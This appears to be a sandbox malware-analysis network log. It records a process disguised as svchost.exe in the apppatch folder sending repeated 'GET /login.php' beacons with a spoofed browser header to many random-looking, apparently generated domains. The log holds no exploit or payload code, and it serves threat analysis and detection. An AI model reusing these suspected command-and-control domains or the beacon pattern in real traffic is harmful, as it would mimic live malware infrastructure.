Nov 11, 2024 18:50:28.998550892 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49728	154.212.231.82	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:29.835361958 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:50:30.765034914 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:30 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:30.777519941 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:50:31.135122061 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:30 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:48.288753986 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:50:48.664972067 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:48.740748882 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:50:49.127126932 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49729	85.17.31.122	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:29.839247942 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49731	45.79.19.196	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:30.695207119 CET	300	OUT	GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww8.galyqaz.com Connection: Keep-Alive Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:50:31.178309917 CET	191	IN	HTTP/1.1 400 Bad Request server: openresty/1.13.6.1 date: Mon, 11 Nov 2024 17:50:31 GMT content-type: text/plain transfer-encoding: chunked connection: close Data Raw: 46 0d 0a 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 0d 0a 30 0d 0a 0d 0a Data Ascii: FInvalid Request0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49733	64.190.63.136	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:32.616396904 CET	300	OUT	GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww3.galyqaz.com Connection: Keep-Alive Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:50:33.234577894 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:33 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_evc7N5FfUOmf13Nl+8D7+0irHI6C5wXyjgvzJn+lB3E1Qfjr/bYz10KXDPAJSx76rgq4GXBHZuidQRM73OngZw== last-modified: Mon, 11 Nov 2024 17:50:33 GMT x-cache-miss-from: parking-7596689c44-jngxs server: Parking/1.0 Data Raw: 38 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 65 76 63 37 4e 35 46 66 55 4f 6d 66 31 33 4e 6c 2b 38 44 37 2b 30 69 72 48 49 36 43 35 77 58 79 6a 67 76 7a 4a 6e 2b 6c 42 33 45 31 51 66 6a 72 2f 62 59 7a 31 30 4b 58 44 50 41 4a 53 78 37 36 72 67 71 34 47 58 42 48 5a 75 69 64 51 52 4d 37 33 4f 6e 67 5a 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 6c 79 71 61 7a 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED] Data Ascii: 858<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_evc7N5FfUOmf13Nl+8D7+0irHI6C5wXyjgvzJn+lB3E1Qfjr/bYz10KXDPAJSx76rgq4GXBHZuidQRM73OngZw==><head><meta charset="utf-8"><title>galyqaz.com - This website is for sale! - galyqaz Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! galyqaz.com is your first and bes
Nov 11, 2024 18:50:33.234608889 CET	1236	IN	Data Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, galyqaz.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png
Nov 11, 2024 18:50:33.234620094 CET	424	IN	Data Raw: 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f Data Ascii: ine-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}butt
Nov 11, 2024 18:50:33.234662056 CET	1236	IN	Data Raw: 73 65 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 Data Ascii: set]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em
Nov 11, 2024 18:50:33.234896898 CET	1236	IN	Data Raw: 74 65 6e 74 2d 62 75 79 62 6f 78 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 0d 0a 31 30 38 32 0d 0a 6c 65 66 74 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 62 75 79 62 6f 78 5f 5f 63 6f 6e 74 65 6e Data Ascii: tent-buybox{display:inline-block;text-align:1082left}.container-buybox__content-heading{font-size:15px}.container-buybox__content-text{font-size:12px}.container-buybox__content-link{color:#949494}.container-buybox__content-link--no-decorat
Nov 11, 2024 18:50:33.234919071 CET	1236	IN	Data Raw: 65 72 2d 63 6f 6e 74 61 63 74 2d 75 73 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 70 72 69 76 61 63 79 50 6f 6c 69 63 79 7b Data Ascii: er-contact-us__content-link{font-size:10px;color:#949494}.container-privacyPolicy{text-align:center}.container-privacyPolicy__content{display:inline-block}.container-privacyPolicy__content-link{font-size:10px;color:#949494}.container-cookie-me
Nov 11, 2024 18:50:33.234930038 CET	1236	IN	Data Raw: 6e 69 74 69 61 6c 3b 6d 61 72 67 69 6e 3a 31 30 25 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 Data Ascii: nitial;margin:10% auto;padding:40px;background:#fff;display:inline-block;max-width:550px}.cookie-modal-window__content-text{line-height:1.5em}.cookie-modal-window__close{width:100%;margin:0}.cookie-modal-window__content-body table{width:100%;b
Nov 11, 2024 18:50:33.234941006 CET	1236	IN	Data Raw: 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 73 6d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f Data Ascii: ff;font-size:initial}.btn--secondary-sm:hover{background-color:#727c83;border-color:#727c83;color:#fff;font-size:initial}.switch input{opacity:0;width:0;height:0}.switch{position:relative;display:inline-block;width:60px;height:34px}.switch__sl
Nov 11, 2024 18:50:33.235142946 CET	1236	IN	Data Raw: 72 65 6c 61 74 65 64 6c 69 6e 6b 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 69 76 65 7b 77 69 64 74 Data Ascii: relatedlinks,.container-content__container-ads,.container-content__webarchive{width:30%;display:inline-block}.container-content__container-relatedlinks{margin-top:47px;flex-grow:1;width:60px}.container-content__container-ads{margin-top:2.5%}.c
Nov 11, 2024 18:50:33.235155106 CET	1236	IN	Data Raw: 31 30 70 78 20 30 20 35 70 78 20 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 69 6d 61 67 65 7b 63 6f 6e 74 65 6e 74 3a 75 Data Ascii: 10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images/bullet_justads.gif");float:left;padding-top:32px}.two-tier-ads-list__list-element-content{display:inline-block}.two-ti
Nov 11, 2024 18:50:33.239533901 CET	1236	IN	Data Raw: 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c Data Ascii: -link:hover,.webarchive-block__list-element-link:active,.webarchive-block__list-elemen576t-link:focus{text-decoration:underline}body{margin:0}.domain h1{font-size:2.2em;font-weight:normal;text-decoration:none;text-transform:lowercase;color

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49739	13.248.169.48	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:33.370172024 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com
Nov 11, 2024 18:50:33.801198959 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 11 Nov 2024 17:50:33 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49740	188.114.97.3	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:33.700877905 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Nov 11, 2024 18:50:34.460958004 CET	793	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://lysyvan.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3vvbW73Eg9A02F7wNDgrqlkOJW0c2zScboJeBTmcMDmTd%2Bw3WFoKnryQuX8U9gyHGk6KrLuog8vGhjib9oTew2Qivtq4gpTE2R2qM90o%2Bx7wcmbaDU8BM6Gbzd8EKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e102016e8017cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Nov 11, 2024 18:50:34.461952925 CET	168	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Nov 11, 2024 18:50:34.461971998 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 11, 2024 18:50:36.289581060 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Nov 11, 2024 18:50:36.618305922 CET	984	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://lysyvan.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2XK%2BMnF7sNiYUe%2FjcQXZqMuhl00uhlxf8M%2FVu5UoT7vlyXLjYUxgQfozlvto9smQqs%2FAQ2qkmr4ufPXMJ2ZPOw3QVdQ6iRma6cLoBtBr14%2Fd8VI7IwaL9P%2FZ7%2Bi7wA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10202509fc7cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=966&recv_bytes=486&delivery_rate=1522074&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:50:52.300067902 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
